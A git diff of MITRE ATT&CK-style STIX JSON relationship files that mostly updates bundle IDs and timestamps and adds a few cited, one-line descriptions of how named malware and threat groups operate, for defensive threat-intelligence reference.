diff --git a/enterprise-attack/relationship/relationship--59261bc8-0220-4e37-8018-7a3618a5dd1b.json b/enterprise-attack/relationship/relationship--59261bc8-0220-4e37-8018-7a3618a5dd1b.json
index 8199972652..940b4379e6 100644
--- a/enterprise-attack/relationship/relationship--59261bc8-0220-4e37-8018-7a3618a5dd1b.json
+++ b/enterprise-attack/relationship/relationship--59261bc8-0220-4e37-8018-7a3618a5dd1b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fe85a365-47b9-4d5d-b305-45d4ff790ebf",
+    "id": "bundle--36724cbc-4c15-45a6-985c-eae0af55737d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--59261bc8-0220-4e37-8018-7a3618a5dd1b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. Rover also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--592d0c31-e61f-495e-a60e-70d7be59a719.json b/enterprise-attack/relationship/relationship--592d0c31-e61f-495e-a60e-70d7be59a719.json
index 077cb40353..09afcf7538 100644
--- a/enterprise-attack/relationship/relationship--592d0c31-e61f-495e-a60e-70d7be59a719.json
+++ b/enterprise-attack/relationship/relationship--592d0c31-e61f-495e-a60e-70d7be59a719.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0db608cc-8a54-44df-a2bf-6606fc6c62a9",
+    "id": "bundle--7034723e-4ce7-4bfa-a11b-41bfde8a0bca",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--592d0c31-e61f-495e-a60e-70d7be59a719",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd",
             "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
diff --git a/enterprise-attack/relationship/relationship--59543467-938a-4528-961d-a539f0a5618b.json b/enterprise-attack/relationship/relationship--59543467-938a-4528-961d-a539f0a5618b.json
new file mode 100644
index 0000000000..5715b22f46
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--59543467-938a-4528-961d-a539f0a5618b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ccc0404d-6b4e-4eee-a72d-4fef15d9effa",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--59543467-938a-4528-961d-a539f0a5618b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer identifies a proxy server if it exists and uses it to make HTTP requests.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--595be2e7-9f2a-4d5a-b23d-8e4822ae6199.json b/enterprise-attack/relationship/relationship--595be2e7-9f2a-4d5a-b23d-8e4822ae6199.json
new file mode 100644
index 0000000000..b17ab7fd89
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--595be2e7-9f2a-4d5a-b23d-8e4822ae6199.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--9f4302e1-aaa0-4179-a8fa-fb6f21f392b1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--595be2e7-9f2a-4d5a-b23d-8e4822ae6199",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has exfiltrated files stolen from file shares.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--596c4579-14ea-4c1f-9503-cf47693f18a8.json b/enterprise-attack/relationship/relationship--596c4579-14ea-4c1f-9503-cf47693f18a8.json
new file mode 100644
index 0000000000..9ef340d416
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--596c4579-14ea-4c1f-9503-cf47693f18a8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e8793ee6-6f35-4403-bcb3-c8cff7077690",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--596c4579-14ea-4c1f-9503-cf47693f18a8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly deleted system, security, terminal services, remote services, and audit logs from a victim.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387.json b/enterprise-attack/relationship/relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387.json
index 0b1baae6e5..17a88824fe 100644
--- a/enterprise-attack/relationship/relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387.json
+++ b/enterprise-attack/relationship/relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fe949f3b-3967-41a3-9d75-9dfbd13280a4",
+    "id": "bundle--9b3904a8-5938-464a-8e26-b4dd18850a91",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.024Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271",
             "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
diff --git a/enterprise-attack/relationship/relationship--59a6700b-3ae5-4039-a07c-cbbf6eb7a78e.json b/enterprise-attack/relationship/relationship--59a6700b-3ae5-4039-a07c-cbbf6eb7a78e.json
index 15217c5e4c..c54a2e4d3c 100644
--- a/enterprise-attack/relationship/relationship--59a6700b-3ae5-4039-a07c-cbbf6eb7a78e.json
+++ b/enterprise-attack/relationship/relationship--59a6700b-3ae5-4039-a07c-cbbf6eb7a78e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--12b60f06-83a8-44e7-93d0-a461e89f99b4",
+    "id": "bundle--e588b74c-814f-4b06-a7f3-a19b1e2e1cc3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--59a6700b-3ae5-4039-a07c-cbbf6eb7a78e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has deployed backup web shells and obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--59aabb7b-9211-4577-9c6b-ba2cf6e3704c.json b/enterprise-attack/relationship/relationship--59aabb7b-9211-4577-9c6b-ba2cf6e3704c.json
index f7fdc4dbda..740e666895 100644
--- a/enterprise-attack/relationship/relationship--59aabb7b-9211-4577-9c6b-ba2cf6e3704c.json
+++ b/enterprise-attack/relationship/relationship--59aabb7b-9211-4577-9c6b-ba2cf6e3704c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--90d986e6-3159-4401-8e53-687a92c7a72d",
+    "id": "bundle--2ce345a3-ff9d-4851-b716-1acdc5d094a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--59aabb7b-9211-4577-9c6b-ba2cf6e3704c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel is capable of downloading additional files.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--59b39f06-a71c-42f7-92f2-244a183113d6.json b/enterprise-attack/relationship/relationship--59b39f06-a71c-42f7-92f2-244a183113d6.json
index ac7ecdbe42..b837094ed7 100644
--- a/enterprise-attack/relationship/relationship--59b39f06-a71c-42f7-92f2-244a183113d6.json
+++ b/enterprise-attack/relationship/relationship--59b39f06-a71c-42f7-92f2-244a183113d6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c625c3d3-5818-4280-a263-d9ddeeaa5cc1",
+    "id": "bundle--131aac75-9c72-4e0d-9791-643596c3bd28",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--59b39f06-a71c-42f7-92f2-244a183113d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can start, stop, or delete services.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--59b95288-b954-4118-9a88-8e2ad85a1265.json b/enterprise-attack/relationship/relationship--59b95288-b954-4118-9a88-8e2ad85a1265.json
new file mode 100644
index 0000000000..e49f8c20e1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--59b95288-b954-4118-9a88-8e2ad85a1265.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--c8ab4be6-9139-47b7-86cf-ab3bdc410da5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--59b95288-b954-4118-9a88-8e2ad85a1265",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly leveraged Outlook Web Access.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--59d4e54d-66b8-4603-b189-ba67160da44d.json b/enterprise-attack/relationship/relationship--59d4e54d-66b8-4603-b189-ba67160da44d.json
index c769c78a76..cf1f3a4994 100644
--- a/enterprise-attack/relationship/relationship--59d4e54d-66b8-4603-b189-ba67160da44d.json
+++ b/enterprise-attack/relationship/relationship--59d4e54d-66b8-4603-b189-ba67160da44d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0ec19c23-73ac-4a81-b40a-3dfce41aea49",
+    "id": "bundle--32a037df-c424-4e5c-ae8d-993c010fde85",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--59d4e54d-66b8-4603-b189-ba67160da44d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader uses DNS as its C2 protocol.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75.json b/enterprise-attack/relationship/relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75.json
index e8a990ae53..e92e0d2fef 100644
--- a/enterprise-attack/relationship/relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75.json
+++ b/enterprise-attack/relationship/relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--24ec22dc-0be9-4e9e-9edd-a07564773b79",
+    "id": "bundle--a4950c5e-761a-4b74-85e0-7e9f849511b7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon contains base64-encoded strings.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--5a491b91-739f-498b-b8f2-b14aaea07893.json b/enterprise-attack/relationship/relationship--5a491b91-739f-498b-b8f2-b14aaea07893.json
index a9fe37d28f..88a0f37c56 100644
--- a/enterprise-attack/relationship/relationship--5a491b91-739f-498b-b8f2-b14aaea07893.json
+++ b/enterprise-attack/relationship/relationship--5a491b91-739f-498b-b8f2-b14aaea07893.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c00a9459-596a-44d5-a818-06ddd1690017",
+    "id": "bundle--9af8a666-0c29-4b2d-a1f7-ee9303292345",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5a491b91-739f-498b-b8f2-b14aaea07893",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72",
             "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
diff --git a/enterprise-attack/relationship/relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc.json b/enterprise-attack/relationship/relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc.json
index bcdc28ccef..7c56614c59 100644
--- a/enterprise-attack/relationship/relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc.json
+++ b/enterprise-attack/relationship/relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--856eb090-a3a2-4595-a24d-2b7e4755531c",
+    "id": "bundle--c5340139-6cb4-4cb8-aa42-69ddc713f3bb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used the Microsoft administration tool csvde.exe to export Active Directory data.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad.json b/enterprise-attack/relationship/relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad.json
index 0e7d02250d..3d40086b05 100644
--- a/enterprise-attack/relationship/relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad.json
+++ b/enterprise-attack/relationship/relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a616c22b-1782-4495-aacb-f43af61513f1",
+    "id": "bundle--20d7b014-c62d-4a8c-a5cd-a8df07adad58",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE has the capability to discover processes.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
diff --git a/enterprise-attack/relationship/relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35.json b/enterprise-attack/relationship/relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35.json
index d5c6f2e9b3..a8e5d0ba85 100644
--- a/enterprise-attack/relationship/relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35.json
+++ b/enterprise-attack/relationship/relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc65bf11-ffca-4410-9c50-4b3490093d0e",
+    "id": "bundle--32c7592e-28e7-4352-8679-491a1a5204ce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast creates the following Registry entry: <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Micromedia</code>.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
diff --git a/enterprise-attack/relationship/relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9.json b/enterprise-attack/relationship/relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9.json
index 7196dd9693..499021ad53 100644
--- a/enterprise-attack/relationship/relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9.json
+++ b/enterprise-attack/relationship/relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e904cea-ba97-4406-8e71-0b3fa9657455",
+    "id": "bundle--3059a182-363f-4eb5-ac39-867b138f93b1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke is capable of uploading and downloading files.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9.json b/enterprise-attack/relationship/relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9.json
index e3dc742706..965853d5b9 100644
--- a/enterprise-attack/relationship/relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9.json
+++ b/enterprise-attack/relationship/relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--43ed7d85-72b4-49c7-b4df-98cd3df92e64",
+    "id": "bundle--9a1b0cd3-54f2-4a95-85b3-c175097ec88d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 has functionality to copy itself to removable media.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--5b2c87e3-8eac-48b3-832b-2290b367403d.json b/enterprise-attack/relationship/relationship--5b2c87e3-8eac-48b3-832b-2290b367403d.json
index a94a656d96..f73fe0b515 100644
--- a/enterprise-attack/relationship/relationship--5b2c87e3-8eac-48b3-832b-2290b367403d.json
+++ b/enterprise-attack/relationship/relationship--5b2c87e3-8eac-48b3-832b-2290b367403d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b434be5b-d276-40e3-a55d-a6ef42c69f1a",
+    "id": "bundle--c760d52d-2466-4f90-8576-ae8f86313c22",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5b2c87e3-8eac-48b3-832b-2290b367403d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has gathered information about local network connections using netstat.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -22,7 +22,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f.json b/enterprise-attack/relationship/relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f.json
index 53cee40a9d..8b5d239842 100644
--- a/enterprise-attack/relationship/relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f.json
+++ b/enterprise-attack/relationship/relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--466e424b-fc86-4856-b450-47ecc0eef8d3",
+    "id": "bundle--5dddf1de-46b1-4cb2-8984-9aab47e00de9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "httpclient encrypts C2 content with XOR using a single byte, 0x12.",
             "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
diff --git a/enterprise-attack/relationship/relationship--5b650388-4ab3-4c56-a69e-df7eba7f0756.json b/enterprise-attack/relationship/relationship--5b650388-4ab3-4c56-a69e-df7eba7f0756.json
index c799ab545c..ff4ea826c7 100644
--- a/enterprise-attack/relationship/relationship--5b650388-4ab3-4c56-a69e-df7eba7f0756.json
+++ b/enterprise-attack/relationship/relationship--5b650388-4ab3-4c56-a69e-df7eba7f0756.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6f535f5b-464c-4c64-b5d6-7eaba080c2fb",
+    "id": "bundle--abb07970-6c5a-4740-8e10-c62fb0560a55",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5b650388-4ab3-4c56-a69e-df7eba7f0756",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor communicates with its C2 server over port 443.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
diff --git a/enterprise-attack/relationship/relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4.json b/enterprise-attack/relationship/relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4.json
index 5a51e9ab60..9209028a7b 100644
--- a/enterprise-attack/relationship/relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4.json
+++ b/enterprise-attack/relationship/relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4c2abc5-8a1e-4952-9b49-5d67116c4599",
+    "id": "bundle--afe7f706-d077-4214-919a-ea60b839a2c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer registers itself under a Registry Run key with the name \"USB Disk Security.\"",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--5b69fc3c-1bf7-4092-be94-755790ccf41f.json b/enterprise-attack/relationship/relationship--5b69fc3c-1bf7-4092-be94-755790ccf41f.json
new file mode 100644
index 0000000000..1d5e182558
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5b69fc3c-1bf7-4092-be94-755790ccf41f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--09c72a7e-7dd3-4960-b6be-ba0fb4043f7d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5b69fc3c-1bf7-4092-be94-755790ccf41f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "One version of Helminth uses a PowerShell script.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
